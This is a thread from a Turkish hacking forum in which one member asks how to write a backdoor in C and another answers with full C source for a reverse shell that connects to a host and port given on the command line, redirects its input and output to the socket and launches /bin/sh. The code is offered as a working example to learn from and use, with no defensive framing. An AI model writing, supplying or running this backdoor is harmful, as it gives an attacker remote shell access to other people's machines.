C dilinde Backdoor nasıl yazılır?

Anka56

Üye
19 Eki 2023
90
11
Merhaba arkadaslar.
Ben C dili ile backdoor yazmak istiyorum.
C dilinde backdoor ogrenmek icin neler bilmem gerekiyor.
Kaynak nereden bulabilirim.
C dili backdoor yazmayi nasil ogrenebilirim.
Neler bilmem gerekiyor.
 

Eratronos

Ar-Ge Ekibi Asistanı
8 Kas 2021
169
11
94
(LPSTR)"dxeiz.exe";
Örnek kod paylaşacağım, kodu inceleyerek ve bence yapay zeka kullanarak da kodların ne amacı olduğunu anla.

C:
#include <sys/socket.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>

static int
dial(const char *addr, const char *port)
{
    struct addrinfo hints;
    struct addrinfo *res, *rp;
    int sockfd, s;

    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_family        = AF_UNSPEC;
    hints.ai_socktype    = SOCK_STREAM;
    hints.ai_protocol    = 0;
    hints.ai_flags        = 0;

    s = getaddrinfo(addr, port, &hints, &res);
    if(s < 0)
        return -1;

    for(rp = res; rp != NULL; rp = rp->ai_next){
        sockfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if(sockfd < 0)
            continue;
        if(connect(sockfd, rp->ai_addr, rp->ai_addrlen) == 0)
            break;
        close(sockfd);
    }

    if(rp == NULL)
        return (-1);
    freeaddrinfo(res);

    return sockfd;
}

int
main(int argc, char *argv[])
{
    int sockfd;
    const char *rhost = argv[1];
    const char *rport = argv[2];
    char *const cmd[] = {"/bin/sh", (char *)0};
    char *const env[] = {(char *)0};
    if(rhost == NULL || rport == NULL)
        return (-1);
    sockfd = dial(rhost, rport);
    if(sockfd == -1)
        return (-1);
    (void)dup2(sockfd, 0);
    (void)dup2(0, 1);
    (void)dup2(0, 2);
    execve("/bin/sh", cmd, env);

    return (0);
}


Kodun Github bağlantısı
Ayrıca bu daha çok işine yarar:
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.